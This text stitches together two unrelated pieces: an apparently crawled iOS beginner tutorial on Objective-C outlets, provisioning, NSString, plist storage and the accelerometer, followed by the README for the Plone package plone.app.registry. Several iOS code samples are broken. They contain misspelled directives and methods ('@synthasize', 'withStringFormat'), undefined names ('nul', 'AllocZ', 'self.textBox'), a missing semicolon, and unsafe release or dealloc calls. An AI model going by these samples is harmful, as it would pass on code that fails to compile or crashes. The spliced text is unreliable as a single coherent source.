Our final goal was to display a message on the screen to the user; there's more work to be done. While the IBAction methods allow us to receive notification of something happening, they don't help much in actively changing the contents of the text field. We need to first get our hands on an instance of the text field. But the text field isn't declared within our code. It is declared inside of the XIB file. To get a reference to the text field, we must declare an outlet. An outlet is a variable that is automatically assigned a value by Cocoa at runtime.
IBAction
Within the header file for the view, type the following under the method that you created:
@property (retain) IBOutlet UITextField *myTextBox;
Copy the same thing into the area for the instance variables, and remove the @property (retain) part from it.
@property (retain)
In the implementation, add the following:
@synthasize myTextBox;
The code in the myButtonWasClicked method also needs to be changed. Within this method, set the text on the myTextBox instance to "Hello World".
myTextBox
myTextButton.text=@"Hello World"
The next step is to associate the text field with this property from the interface builder. From within the interface builder, right-click on the "File's owner" module and find the myTextBox outlet. While holding down the control key, click-and-drag from the outlet to the text field. If you run the program now, when the button is clicked, "Hello World" will appear in the text box. We've only looked at the textbox. But the interactions with many other visual controls is the same. If you add a slider to the interface, an IBAction method to my class, and then associate the method with the slider, I can receive notifications when the slider value is changed.
The last step is a cleanup task. As described in the low memory section, if the iPhone becomes low on memory, it will begin to destroy views to clear up memory. We will need to clear our references to the view objects when this happens. Also, when the view is being deallocated, we need to release ownership of the view objects we reference in our code. You can see how both of these were implemented in the -(void)viewDidUnload and -(void)dealloc methods in the full code below.
-(void)viewDidUnload
-(void)dealloc
The source code below contains the HelloWorld functionality along with displaying the value of a slider.
#import <uikit>
@class NSTextField;
@interface HelloWorldViewController : UIViewController {
IBOutlet UITextField * myTextBox;
IBOutlet UISlider * mySlider;
IBOutlet UITextField * mySliderText;
}
@property (retain) IBOutlet UITextField * myTextBox;
@property (retain) IBOutlet UISlider * mySlider;
@property (retain) IBOutlet UITextField *mySliderText;
- (IBAction) myButtonWasClicked:(id)sender;
- (IBAction) mySliderWasMoved:(id)sender;
@end
#import "HelloWorldFinalViewController.h"
@implementation HelloWorldFinalViewController
@synthesize myTextBox;
@synthesize mySliderText;
@synthesize mySlider;
- (IBAction) myButtonWasClicked:(id)sender
{
NSLog(@"The button was clicked");
myTextBox.text=@"Hello World";
}
- (IBAction) mySliderWasMoved:(id)sender
{
NSLog(@"The Slider was moved");
UISlider *slider = (UISlider*)sender;
float sliderValue = [slider value];
NSString* sliderValueText =
[NSString stringWithFormat:@"The slider's current value is %f",
sliderValue];
mySliderText.text=sliderValueText;
}
// Override to allow orientations other than the default portrait orientation.
- (BOOL)shouldAutorotateToInterfaceOrientation:
(UIInterfaceOrientation)interfaceOrientation {
return YES;
}
//View is being destroyed to free memory. Clear
//out our references to view obejcts.
- (void)viewDidUnload {
self.textBox=nil;
self.mySliderText=nil;
self.mySlider=nil;
}
// during a dealloc release our hold on the view objects
-(void)dealloc{
[myTextBox release];
[mySliderText release];
[mySlider release];
[super dealloc];
}
@end
The two things to take from this example program are how to get a reference to a UI object created in the interface builder, and how to receive messages from UI objects.
Now that you've written your first program, those of you with a real device probably want to deploy it to that device. Before you can copy your program to a real device, you *must* complete the Appstore registration with Apple. Until you do this, you will not be able to complete the provisioning process.
Connect your iOS device to your computer. In Xcode, change the dropdown so that instead of attempting to run the program in the simulator, Xcode will run the program on an actual device. When you attempt to run the program, you'll get a failure notice stating that the device doesn't have a provisioning profile. If you select "Install and Run" from the error dialog, you'll encounter another failure about the provisioning profile not being found.
To provision your device, you'll need to have your developer certificate. Go to the iPhone Developer Portal () and log in with your apple ID. On the left hand side, there is a link that will take you to the provisioning page. Click on the link and select "Launch Assistant" from the bottom of the page. Click on "Continue" when the Development Provisioning Assistant welcome window opens. On the next screen, you'll have to identify the application you are developing. Click on "Create a new App ID" and select "Continue". On the next string, you enter a description or name for the application (be creative!). Following that, you have to identify the Apple device that you are using for development. Select "Assign a new Apple device". You'll be asked for the device's description and device ID.
The description can be almost any name. If you only have one iOS device, then you really won't care what you put in there. If you have more than one, then you'll want to put something here that will allow you to easily identify which device you were using at the time. The device ID can be found in the Xcode Organizer. Switch back to Xcode and select the Window menu and then select "Organizer". When the Organizer opens, you will see your iOS device listed on the left. Select it. You may see a button labeled "Use this device for development". If you do, then click on it. When your device information is displayed at the top of the screen, look for the value labeled "Identifier" and copy it to your clipboard. Go back to the Development Provisioning Assistant and paste it in Device ID and click on Continue. You'll see a confirmation that your certificate was created. When you go to the next screen, you need to assign a name to the profile you just created. After clicking on Continue two more times, you will be able to download your provisioning certificate. After downloading your certificate, go back to the Xcode Organizer and click on the "+" button in the provisioning area. In the window that opens, navigate to your provisioning file and select it. Once you do this, your device will be provisioned. You should be able to run the project on your device now. Every now and then, when I go through the process of deploying the provisioning certificate to the device, it doesn't work. When this happens, I have to disconnect and then reconnect my iDevice once or twice before it will work.
The provisioning profile copied to your device is only good for about three months. After it expires, any executables on your device associated with the profile will cease to function. If you want to see when a device's provisioning profile expires, you can view it in the Settings menu. Navigate to Settings->General->Profile to view your current provisions.
The base class for strings is the NSString class. The NSString class is immutable, so the string it contains doesn't change. There is also a subclass named NSMutableString whose contents can be changed. The NSString class stores Unicode characters. The length of a string can be probed through its Length method, and the character at a specific location in the string can be probed with the characterAtIndex method.
NSString
NSMutableString
Length
characterAtIndex
There are several ways that a string can be initialized. One way (that you've already seen by now) is to envelope literal text within quotation marks and prefix it with the at-sign (such as @"Hello World!"). If you need to create a string from other data (such as an integer value), you can use the class method stringWithForm. The method takes a formatting string that is similar to the formatting strings that you may have used in C/C++. The following code results in the string "There are 12 items in a dozen.":
@"Hello World!"
stringWithForm
NSString* myString = [NSString withStringFormat:@"There are %d items in a dozen.", 12];
If you have a numeric value represented as a string, you can easily convert it back to a numeric value with one of the xxxValue methods (where xxx can be int, integer, double, bool, float, or long).
xxxValue
int
integer
double
bool
float
long
There are a lot of other string manipulation methods available, and I can't cover them all here. But I encourage you to glance through the NSString documentation to learn more about the string manipulation methods available. I will use a few more of the available methods as relevant within this document.
There are multiple ways of persisting data on an iOS device. If you wanted to use traditional C-language IO, you could use fopen and its related functions to manipulate files. I won't cover that here. Instead, I'll cover a few of the solutions specific to iOS.
fopen
On iOS devices, your application is sandboxed. There are only a few folders that your application can write to. There is a /Documents folder for information that you need to persist and be backed up regularly. There's a /Cache folder where you can place information that should be available between launches but not backed up by iTunes. And there is a /tmp folder for information you only need while the application is running. It cannot read or write to any other location on the device. You can get the path to your application's /Documents folder using the function NSSearchPathForDirectoriesInDomain(). This function exists for both iOS and Mac OS X. You'll find that it won't work with all of the options available; either because the option isn't supported on iOS or because your application doesn't have permission to use certain options.
NSSearchPathForDirectoriesInDomain()
This function returns an array of directories that meet a given criteria. Our initial use of it here is to retrieve a single directory so when we retrieve the path to our Documents folder we will get an array of one item. The first argument that we must pass to the function is the constant NSDocumentDirectory. As the name implies, this tells the function that we want the Documents folder. The second parameter is the constant NSUserDomainMask. This specifies that we want to restrict our search to our applications folder.
NSDocumentDirectory
NSUserDomainMask
NSArray *myPathList =
NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,NSUserDomainMask, YES);
NSString *myPath = [myPathList objectAtIndex:0];
To construct a file name for our reading or writing purposes, we only need to concatenate a file name to our path. NSString has a method just for that purpose.
NSString *myFilename = [myPath stringByAppendingPathComponent:@"fileName.txt"];
For temporary files, there is a function that takes no parameters and returns a path that can be used for temporary files. Its name is NSTemporaryDirectory();
NSTemporaryDirectory();
Having constructed your file name, you can use it for one of the data persistence APIs.
PLists (or property lists) are easy to use. If you make an in-memory hierarchy of data using only a certain set of objects, then that hierarchy can be written to a file or loaded from a file all at once. As the developer, you don't have to worry about serializing your data. This is done for you. A disadvantage that come from using this solution is that even if you make a small change to your data, you must rewrite the entire file; you can't make incremental changes. The following are the classes that you can use when making an object hierarchy for a PList:
NSArray
NSData
NSDate
NSDictionary
MutableArray
NSNumber
After you've built your object hierarchy, you can save the structure and its data to a file using the writeToFile method. It needs a file name and a value for the Atomically parameter. If Atomically is set to yes, then instead of saving directly to the target file, the data will be stored to a temporary file and then moved to the destination file name. It takes longer, but is much safer. If the device crashes, you are less likely to end up with a file in a corrupted state. To load the contents of the file, we can just instantiate the root element and use the initialization method initWithContentsOfFile. This method takes the file path as its only argument, and will take care of building the entire hierarchy as it populates the data.
writeToFile
Atomically
initWithContentsOfFile
In the following code example, I made use of a PList to save data to a file. I made a simple interface with three textboxes (for data) and two buttons to invoke the save and load functionality.
While not visible, there is also a label control below the buttons. When the data is loaded or saved, the path to the file is displayed there. When the save button is clicked, the contents of the text boxes are copied to an NSArray and saved to a file with the writeToFile method. When the load button is clicked, a new NSArray is created and initialized with the initWithContentsOfFile method.
If you want to see whether or not the file is really saving, run the program, save some text, and then close the program. If you run it again, it will be able to reload the data.
#import <uikit>
@interface DataPersistenceExampleViewController : UIViewController {
IBOutlet UITextField* textBox00;
IBOutlet UITextField* textBox01;
IBOutlet UITextField* textBox02;
IBOutlet UILabel* storageLocationLabel;
NSString* storagePath;
}
@property (retain) IBOutlet UITextField *textBox00;
@property (retain) IBOutlet UITextField *textBox01;
@property (retain) IBOutlet UITextField *textBox02;
@property (retain) IBOutlet UILabel *storageLocationLabel;
@property (retain) NSString *storagePath;
- (IBAction)saveButtonClicked:(id)sender;
- (IBAction)loadButtonClicked:(id)sender;
@end
#import "DataPersistenceExampleViewController.h"
@implementation DataPersistenceExampleViewController
@synthesize textBox00;
@synthesize textBox01;
@synthesize textBox02;
@synthesize storageLocationLabel;
//@synthesize storagePath;
- (IBAction)saveButtonClicked:(id)sender
{
NSArray* valueList = [NSArray arrayWithObjects:
textBox00.text,textBox01.text, textBox02.text, nil];
NSArray *myPathList = NSSearchPathForDirectoriesInDomains(
NSDocumentDirectory, NSUserDomainMask, YES);
NSString *myPath = [myPathList objectAtIndex:0];
storagePath = [myPath stringByAppendingPathComponent:@"myData.txt"];
storageLocationLabel.text = storagePath;
[valueList writeToFile:storagePath atomically:true];
}
- (IBAction)loadButtonClicked:(id)sender
{
NSArray *myPathList = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES);
NSString *myPath = [myPathList objectAtIndex:0];
storagePath = [myPath stringByAppendingPathComponent:@"myData.txt"];
NSArray* valueList = [[NSArray alloc] initWithContentsOfFile:storagePath];
textBox00.text = [valueList objectAtIndex:0];
textBox01.text = [valueList objectAtIndex:1];
textBox02.text = [valueList objectAtIndex:2];
}
- (void)didReceiveMemoryWarning {
// Releases the view if it doesn't have a superview.
[super didReceiveMemoryWarning];
// Release any cached data, images, etc that aren't in use.
}
- (void)viewDidUnload {
self.textBox00=nil;
self.textBox01=nil;
self.textBox02=nil;
self.storageLocationLabel=nil;
}
- (void)dealloc {
[textBox00 release];
[textBox01 release];
[textBox02 release];
[storageLocationLabel release]
[super dealloc];
}
@end
While PLists are easy to manipulate, the data types that you can store in them are rather basic. Archivers can write objects of any type to a file as long as that object conforms to the NSCoding protocol. NSCoding defines messages for reading and writing an object's state. When an object is being saved to a file, its encodeWithCoder: method is called so that it can express its state information. During unarchiving (when the object is being read back from the file), the initWithCoder: method is called and the information that had previously been saved by the archiver is provided so that the object can reinitialize itself.
encodeWithCoder:
initWithCoder:
Both messages receive a parameter of type NSCoder. The NSCoder object has various methods for encoding different data types such as booleans, bytes, strings, and other types of objects. For each encoding method, there is also a decoding method.
NSCoder
Encoding Method
Decoding Method
encodeBool:forKey
decodeBoolForKey
encodeInt32:forKey
decodeInt32ForKey
encodeArrayOfObjCType:count:at
decodeArrayOfObjCType:count:at
The accelerometer within the device detects forces of acceleration. The force of gravity on Earth is equal to the force that an object would experience if it were accelerating at 9.81 meters/second^2. So a device that isn't being moved will detect a force in the direction that gravity is pulling it. If the device were in a free-fall, its accelerometer would have a reading that is close to zero (take my word for this, and please don't test it by dropping your device). The accelerometer's readings are composed of measurements along the X, Y, and Z axes, so the accelerometer in the iPhone can detect movement in any direction.
Every application has access to a single UIAccelerometer instance to read the accelerometer data. You don't instantiate this instance directly. Instead, you retrieve it through the class method sharedAccelerometer on the UIAccelerometer class. Once you have an instance of this class, you provide a delegate that will receive the data and an update interval. The smallest update interval is 10 milliseconds which will cause 100 updates per second. Most applications won't need updates this often. When you no longer need accelerometer data, you can set the delegate to nil to stop receiving updates. You shouldn't leave the update mechanism active when you don't actually need accelerometer data. Doing so can contribute to a faster draining battery.
UIAccelerometer
sharedAccelerometer
The delegate method that you implement is named accelerometer:didAccelerate:. When this method is called, it will receive both a reference to the accelerometer and the acceleration readings.
accelerometer:didAccelerate:
According to Apple documentation, the following are the recommended update frequency bands:
Frequency (Hz)
Usage
10-20
Getting the current orientation of the device
30-60
Games and other real-time input applications
70-100
For detecting high frequency motion such as the user hitting the device or shaking it quickly.
If you only need to know the general orientation of the device and don't need the accelerometer data, then you should retrieve the orientation of the device from the UIDevice class. To retrieve the device's orientation, you must first call UIDevice's beginGeneratingDeviceOrientationNotifications. Once this is called, you can read the current orientation from the Orientation property. You can also subscribe to UIDeviceOrientationDidChangeNotification. In either case, if your application no longer needs orientation events, it should call endGeneratingDeviceOrientationNotifications to turn off the accelerometer and conserve power.
UIDevice
beginGeneratingDeviceOrientationNotifications
Orientation
UIDeviceOrientationDidChangeNotification
endGeneratingDeviceOrientationNotifications
For a demonstration, I'm building a program that will read the values from the accelerometer and displays them on the screen.
#import <uikit>
@interface AccelerometerDemonstrationViewController : UIViewController {
IBOutlet UITextField* AccelX;
IBOutlet UITextField* AccelY;
IBOutlet UITextField* AccelZ;
UIAccelerometer *myAccelerometer;
}
@property (retain) IBOutlet UITextField *AccelX;
@property (retain) IBOutlet UITextField *AccelY;
@property (retain) IBOutlet UITextField *AccelZ;
-(IBAction)startAccelerometerClicked:(id)sender;
-(IBAction)stopAccelerometerClicked:(id)sender;
-(void)accelerometer:(UIAccelerometer *)accelerometer
didAccelerate:(UIAcceleration *)acceleration;
@end
#import "AccelerometerDemonstrationViewController.h"
@implementation AccelerometerDemonstrationViewController
@synthesize AccelX;
@synthesize AccelY;
@synthesize AccelZ;
-(IBAction)startAccelerometerClicked:(id)sender {
[[UIAccelerometer sharedAccelerometer] setUpdateInterval:0.20] ;
[[UIAccelerometer sharedAccelerometer] setDelegate:self];
}
-(IBAction)stopAccelerometerClicked:(id)sender {
[[UIAccelerometer sharedAccelerometer] setDelegate:nil];
}
-(void)accelerometer:(UIAccelerometer *)accelerometer
didAccelerate:(UIAcceleration *)acceleration {
[AccelX.text release];
[AccelY.text release];
[AccelZ.text release];
AccelX.text = [NSString stringWithFormat:@"%f", acceleration.x];
AccelY.text = [NSString stringWithFormat:@"%f", acceleration.y];
AccelZ.text = [NSString stringWithFormat:@"%f", acceleration.z];
}
- (void)didReceiveMemoryWarning {
// Releases the view if it doesn't have a superview.
[super didReceiveMemoryWarning];
// Release any cached data, images, etc that aren't in use.
}
- (void)viewDidUnload {
self.AccelX = nul;
self.AccelY = nul;
self.AccelZ = nul;
}
- (void)dealloc {
[AccelX dealloc];
[AccelY dealloc];
[AllocZ dealloc]
[super dealloc];
}
@end
I could have a complete discussion covering math equations and algorithms alone that are helpful when dealing with the accelerometer. For now, I'll just mention two that I've found helpful when working with an accelerometer in previous programs. The first equation is to get the magnitude of the accelerometer value. For a device that's not moving, this number should be close to one (though the number may float around to be slightly greater than one or slightly less than one because of the accelerometer not being 100% precise). For a number accelerating quickly, it will be greater than one. For a device in free fall, it will be close to zero. You can get the magnitude of the accelerometer reading by getting the square root of (x*x+y*y+z*z). The other equation worth knowing is getting the direction (in radians) in which the device is tilting along some plane. For example, if I had a device laying flat on a table and then decided to tilt it, the direction in which the device is tilted can be calculated with atan2(y,x).
(x*x+y*y+z*z)
atan2(y,x)
While this article is enough to get you started using the palette of controls that are available within the UI framework, at some point, you will also want to render your own graphics. After you've gotten more comfortable with iOS development, I'd suggest taking a look at my introduction to the iOS Graphics APIs.
I hope that this should be enough to get you started with iOS development. I plan to both edit this article and add new ones over time, concentrating on various aspects of iPhone development. If you have any feedback or suggestions, feel free to leave them below or send me a message.
I'd like to thank CraigNicholson and Tom the Cat for assisting me by pointing out mistakes or bugs in the original version of this article and. | http://www.codeproject.com/Articles/88929/Getting-Started-with-iPhone-and-iOS-Development?fid=1576444&df=90&mpp=25&sort=Position&spc=Relaxed&tid=3647956 | CC-MAIN-2015-11 | refinedweb | 7,452 | 53.92 |
ITransferSource::MoveItem method
Moves the item within the volume/namespace, returning the IShellItem in its new location.
Syntax
Parameters
- psi [in]
Type: IShellItem*
A pointer to the IShellItem to be moved.
- psiParentDst [in]
Type: IShellItem*
A pointer to the IShellItem that represents the new parent item at the destination.
- pszNameDst [in]
Type: LPCWSTR
Pointer to a null-terminated buffer that contains the destination path.
- dwFlags
Type: TRANSFER_SOURCE_FLAGS
Flags that control the file operation. One or more of the TRANSFER_SOURCE_FLAGS constants.
- ppsiNew [out]
Type: IShellItem**
When this method returns successfully, contains an address of a pointer to the IShellItem in its new location.
Return value
Type: HRESULT
Returns S_OK if the move succeeded. In that case, ppsiNew points to the address of the new item. Other possible return values, both success and failure codes, include the following:
Requirements | https://msdn.microsoft.com/en-us/library/windows/desktop/bb774527(v=vs.85).aspx | CC-MAIN-2018-22 | refinedweb | 137 | 57.87 |
Stream they use more CPU power which makes the whole output or processing if you will, faster overall. Way faster! Also, if you are not using parallel streams for big computations, your program will be only using 1 core out of, let’s say, 16 cores. How inefficient!
Order
Parallel streams divide the problem into small subsets (or subproblems) which they solve simultaneously (unlike sequential order where they execute each small problem one by one). After the subproblems have been computed, all the solutions to them are combined.
How to implement
Java allows you to implement Parallel streams by using aggregate operations like map for example.
import java.util.ArrayList; import java.util.List; public class Main { public static int compute(int n) { for (int i = 0; i < 10000; i++) { n = n + i; } return n; } public static void main(String[] args) { ArrayList<Integer> arrayList = new ArrayList<>(); for (int i = 0; i < 1000000; i++) { arrayList.add(i*6); } System.out.println("Added all the numbers to the arraylist."); System.out.println("Starting to add numbers..."); int result = arrayList.parallelStream().map(i -> compute(i)).reduce(Integer::sum).get(); System.out.println(reuslt); } }
In this example, we have an example method that just loops 10000 times and adds i to n. In the end, we simply return n. In our main function, we create an ArrayList that contains integers. Then we create an enormous loop, that loops 1000000 times and we are adding in each incrementation i*6 to the arraylist. After we’ve added it, we have these two print statements that just point out that this big loop has finished.
Below these print statements, is the fun part. More specifically, it is where we are creating a parallel stream using the map function. We are calling parallelStream() on the arraylist and for each i in the arraylist, we are calling the compute function and passing the arraylist’s element as a parameter. In the end, we are combining all the results.
When should you use Parallel streams
- when there are massive amounts of data to process
- if sequential approach is costing you something
- N(number of elements) Q(cost per element) should be large | https://javatutorial.net/java-parallel-streams-example | CC-MAIN-2019-43 | refinedweb | 363 | 63.19 |
On Wed, 2003-09-10 at 20:28, Olivier Lange wrote:
> > Is that normal SAX behavior - and we should replace the null value with an
>
> Oh! I should have read the doc. From the Javadocs for the org.w3c.dom.Node
> interface:
>
> I()
>
> "
> public String getNamespaceURI()
> The namespace URI of this node, or null if it is unspecified.
> "
>
> Now, should 'MirrorRecord.nodeToEvents()' handle the 'node.getNamespaceURI()
> == null' case? Is it correct to replace null with an empty string?
yes that's correct. DOM and SAX have different conventions to represent
empty namespaces, so it's necessary to translate between them.
This should be done both for elements and attributes.
While the changes you've done up to know are certainly improvements over
the previous situation, there are still some problems. For example, if
the namespace prefix you use in the translation doesn't exist in the
document in which it's embedded, or the prefix is bound to another
namespace, and then you serialize the document to XML, you will get
incorrect XML because of missing or incorrect namespace declarations.
There's a DOMStreamer class in Cocoon which takes care of all these and
other issues, but integrating that into the I18nTransformer would be
more then a one line change.
In the meantime, if you could make a patch out of all the changes you've
done and submit that to bugzilla, it'll be in the next version of
Cocoon.
-- | http://mail-archives.us.apache.org/mod_mbox/cocoon-users/200309.mbox/%3C1063272270.1385.48.camel@yum.ot%3E | CC-MAIN-2019-47 | refinedweb | 241 | 73.17 |
btowc - single-byte to wide-character conversion
#include <stdio.h> #include <wchar.h> wint_t btowc(int c);
The btowc() function determines whether c constitutes a valid (one-byte) character in the initial shift state.
The behaviour of this function is affected by the LC_CTYPE category of the current locale.
The btowc() function returns WEOF if c has the value EOF or if (unsigned char) c does not constitute a valid (one-byte) character in the initial shift state. Otherwise, it returns the wide-character representation of that character.
No errors are defined.
None.
None.
None.
wctob(), <wchar.h>.
Derived from the ISO/IEC 9899:1990/Amendment 1:1995 (E). | http://pubs.opengroup.org/onlinepubs/7990989775/xsh/btowc.html | CC-MAIN-2014-15 | refinedweb | 109 | 59.3 |
Hey. I've been coding this dungeon generator and the boss room (the very white room), is always spawning on the right. Here are screenshots of different instances. I mostly get between those two rooms even if i regenerate the dungeon 20 times.
Code:
using UnityEngine; using System.Collections;
public class SpawnRooms : MonoBehaviour {
int spawnerID;
public int maxXDEFAULT;
public int maxYDEFAULT;
public int dungeonSizeXDEFAULT;
public int dungeonSiZeYDEFAULT;
public GameObject room1;
public GameObject room2;
public GameObject room3;
public int DungeonID;
bool shouldSpawnBossRoom;
void Start () {
shouldSpawnBossRoom = true;
InstantiateRooms (maxXDEFAULT,maxYDEFAULT,dungeonSizeXDEFAULT,dungeonSiZeYDEFAULT);
}
void InstantiateRooms(int maxX, int maxY, int dungeonSizeX,int dungeonSizeY){
for(int iX =0; iX<maxX; iX+= dungeonSizeX ){
for(int iY = 0; iY< maxY; iY+= dungeonSizeY){
CheckWhatToSpawn(iX,iY);
}
}
}
void CheckWhatToSpawn(int x, int y){
if (shouldSpawnBossRoom == true) {
DungeonID = Random.Range (1, 4);
} else {
DungeonID = Random.Range(2,4);
}
if (DungeonID == 1 && shouldSpawnBossRoom == true) {
shouldSpawnBossRoom = false;
GameObject instance1 = (GameObject)Instantiate (room1, new Vector3 (x, y, 0), Quaternion.identity);
instance1.name = "Boss Room";
}
if (DungeonID == 2) {
GameObject instance2 = (GameObject)Instantiate (room2, new Vector3(x,y,0), Quaternion.identity);
instance2.name = "Room2";
}
if(DungeonID == 3 ){
GameObject instance3 = (GameObject)Instantiate(room3,new Vector3(x,y,0),Quaternion.identity);
instance3.name = "Room3";
}
}
}
Answer by RudyTheDev
·
Dec 24, 2014 at 05:17 PM
You are generating rooms sequentially through y and then x coordinates (for x, for y ..). So new rooms are created down first column, then down second, etc. Your boss room selection is the first time a random number is 1..4. After that you disable boss room spawning. So one would expect on average to see it about 70% (4/5 ^5) in the first column, which is what your observations seem to match.
I'm pretty new, but perhaps would randomly choosing two random numbers (random column and random row) and then spawning the boss room at those coordinates and then working out from there be better?
Thanks a lot Rudy. Your answer was perfect :D
What sdsanft suggests is probably the most straight-forward way to ensure the boss room is truly randomly placed. It does involve a different approach that the current one, as you'd have to remember where you spawned the boss room (or anything else, for that matter) besides "regular" an Extra Platform for the Player to Jump On If There Are None Within the Player's Field of View?
0
Answers
C# Random spawn from an array
0
Answers
random spawning
1
Answer
Random element from the list
1
Answer
Distribute terrain in zones
3
Answers | https://answers.unity.com/questions/861870/why-is-this-room-always-spawning-on-left-side.html | CC-MAIN-2019-51 | refinedweb | 421 | 51.28 |
plone.app.registry 1.3.11
Zope 2 and Plone integration for plone.registry
Introduction
plone.app.registry provides Plone UI and GenericSetup integration for plone.registry, which in turn implements a configuration registry for Zope applications. For details about how the registry works, please see the plone.registry documentation. What follows is a brief overview of common usage patterns in Plone.
Table of contents
- Introduction
- Overview
- Notes about versions
- Usage
- Using GenericSetup to manipulate the registry
- Using the registry in Python code
- Editing records through the web
- Creating a custom control panel
- Control panel widget settings
- Troubleshooting
- Changelog
- 1.3.11 (2016-03-31)
- 1.3.10 (2016-02-27)
- 1.3.9 (2016-02-20)
- 1.3.8 (2016-02-08)
- 1.3.7 (2015-11-28)
- 1.3.6 (2015-10-27)
- 1.3.5 (2015-09-20)
- 1.3.4 (2015-09-14)
- 1.3.3 (2015-09-08)
- 1.3.2 (2015-08-20)
- 1.3.1 (2015-07-18)
- 1.3.0 (2015-03-13)
- 1.2.3 (2013-05-23)
- 1.2.2 (2013-01-13)
- 1.2.1 (2012-10-16)
- 1.2 (2012-08-29)
- 1.2a1 (2012-06-29)
- 1.1 (2012-04-15)
- 1.0.1 (2011-09-19)
- 1.0 - 2011-05-13
- 1.0b6 - 2011-04-06
- 1.0b5 - 2011-02-04
- 1.0b4 - 2011-01-18
- 1.0b3 - 2011-01-04
- 1.0b2 - 2010-04-21
- 1.0b1 - 2009-08-02
- 1.0a3 - 2009-07-12
- 1.0a2 - 2009-04-17
- 1.0a1 - 2009-04-17
Overview
The registry provided by plone.registry is intended to store settings in a safe, easily accessible manner. This makes it well-suited for applications and add-on products that need to manage some configurable, user-editable values. It is intended to replace the use of (less powerful and user friendly) Zope 2 property sheets, as well as (less safe and more difficult to access) persistent local utilities for managing such configuration.
The registry is not an arbitrary data store. For the most part, you can store any Python primitive there, but not more complex data structures or objects. This means that the registry cannot be broken by packages being uninstalled, and that it can provide a simple, generic user interface for editing values.
The registry is made up of records. A record consists of a field, describing the record, and a value. Fields are based on the venerable zope.schema, although the standard allowable field types are defined in the module plone.registry.field. (This is partly because the field definitions are actually persisted with the record, and partly because plone.registry performs some additional validation to ensure the integrity of the registry).
A record can be created programmatically, though in a Plone context it is more common to install records using the records.xml GenericSetup syntax. Once the record has been created, its value can be read and set using standard Python dictionary syntax. Accessing the record and field is just as easy.
Each record has a unique name, which must be a dotted name prefixed by the package owning the record. For example, a record owned by the package my.package could have a name like my.package.myrecord.
Notes about versions
1.3.x versions are for Plone 5. 1.2.x versions are for Plone 4.
Usage
This section describes how the registry is most commonly used in a Plone context. For more details, please see the plone.registry documentation.
Using GenericSetup to manipulate the registry
The best way to create, modify and delete registry records when writing Plone add-on products is normally to use GenericSetup.
Creating records
Once you have decided that you need a particular record, you need to answer two questions:
- What should the record be called?
- What type of data should it hold?
Let’s say you wanted to create a record call my.package.timeout, holding an integer. Integers are described by the field type plone.registry.field.Int. Almost all the standard fields you would find in zope.schema have an equivalent field in plone.registry.field. The main exception is Object, which is unsupported. Also, Choice fields only support vocabularies given by string name, or as a list of string values. Finally, you cannot use the constraint property to set a validator function, although other validation (such as min/max values) will work.
To install such a record, you could add a registry.xml step to the GenericSetup profile of your product like this:
<registry> <record name="my.package.timeout"> <field type="plone.registry.field.Int"> <title>Timeout</title> <min>0</min> </field> <value>100</value> </record> </registry>
Let’s look at this in more detail:
- There is one record declared. The name is given in the name attribute.
- In the record, we first define the field type, by giving the full dotted name to the field class. Unless you have installed a third party package providing additional persistent fields, this will be a class in plone.registry.field mirroring a corresponding class in zope.schema.
- Inside the <field /> element, we list any required or optional attributes of the field. This uses plone.supermodel syntax. In essence, each allowed field attribute is represented by a tag (so the title attribute can be set with the <title /> tag), with the attribute value given as the tag body. If an attribute is required for a field, the corresponding tag is required here.
- We then set the value. This must obviously be a valid value for the field type.
Note that the <value /> is optional. If not given, the field will default to its missing_value until it is set. The <field /> is optional if the record has already been initialised elsewhere.
Most field attributes are simple tags like the ones shown above, with the field name used as the tag name, and a string representation of the value used as the contents of the tag. Collection fields are a little more involved, however. A collection field (like a List or Tuple) has a value_type property containing another field. Also, their values and defaults are sequences. Let’s look at an example:
<record name="my.package.animals"> <field type="plone.registry.field.Tuple"> <title>Animals</title> <description>A list of cool animals</description> <value_type type="plone.registry.field.TextLine" /> </field> <value> <element>Dog</element> <element>Cat</element> <element>Elephant</element> </value> </record>
Notice how the <value_type /> tag takes a type attribute just like the outer <field /> tag. Here we have shown a value type with no options, but if you need, you can put tags for additional field attributes inside the <value_type /> tag.
Also notice how the value is represented. Each element in the sequence (a tuple in this case) is given by an <element /> tag, with the element value given as the body of that tag.
Dict fields also have a <key_type /> and elements that are key/value pairs. They can be configured like so:
<record name="my.package.animalFood"> <field type="plone.registry.field.Dict"> <title>Food eaten by animals</title> <key_type type="plone.registry.field.TextLine" /> <value_type type="plone.registry.field.TextLine" /> </field> <value> <element key="Dog">Dog food</element> <element key="Cat">Cat food</element> <element key="Elephant">Squirrels</element> </value> </record>
Field references
It is possible to define record to use another record’s field. This is often useful if you want one record to act as an optional override for another. For example:
<registry> <record name="my.package.timeout"> <field type="plone.registry.field.Int"> <title>Timeout</title> <min>0</min> </field> <value>100</value> </record> <record name="my.package.timeout.slowconnection"> <field ref="my.package.timeout" /> <value>300</value> </record> </registry>
In this example, we have defined the my.package.timeout record with an integer field. We then have a separate record, with a separate value, called my.package.timeout.slowconnection, which uses the same field (with the same type, validation, title, description, etc). This avoids having to explicitly re-define a complete field.
Note: The field in this case is actually a FieldRef object. See the plone.registry documentation for details.
Setting values
Once a record has been defined, its value can be set or updated using GenericSetup like so:
<record name="my.package.animalFood"> <value purge="false"> <element key="Squirrel">Nuts</element> <element key="Piranha">Other piranha</element> </value> </record>
This is often useful if you have a record defined in one package that is appended to or customised in another package.
In the example above, we used the purge attribute. When setting the value of a multi-valued field such as a tuple, list, set or dictionary, setting this attribute to false will cause the values listed to be added to the existing collection, rather than overriding the collection entirely, as would happen if the purge attribute was set to true or omitted.
Deleting records
To delete a record, use the remove attribute:
<record name="my.package.animalFood" remove="true" />
If the record does not exist, a warning will be logged, but processing will continue.
Creating records based on an interface
In the examples above, we created individual records directly in the registry. Sometimes, however, it is easier to work with traditional schema interfaces that group together several related fields. As we will see below, plone.registry and plone.app.registry provide certain additional functionality for groups of records created from an interface.
For example, we could have an interface like this:
from zope.interface import Interface from zope import schema class IZooSettings(Interface): entryPrice = schema.Decimal(title=u"Admission charge") messageOfTheDay = schema.TextLine(title=u"A banner message", default=u"Welcome!")
Notice how we are using standard zope.schema fields. These will be converted to persistent fields (by adapting them to IPersistentField from plone.registry) when the registry is populated. If that is not possible, an error will occur on import.
To register these records, we simply add the following to registry.xml:
<records interface="my.package.interfaces.IZooSettings" />
This will create one record for each field. The record names are the full dotted names to the fields, so in this case they would be my.package.interfaces.IZooSettings.entryPrice and my.package.interfaces.IZooSettings.messageOfTheDay.
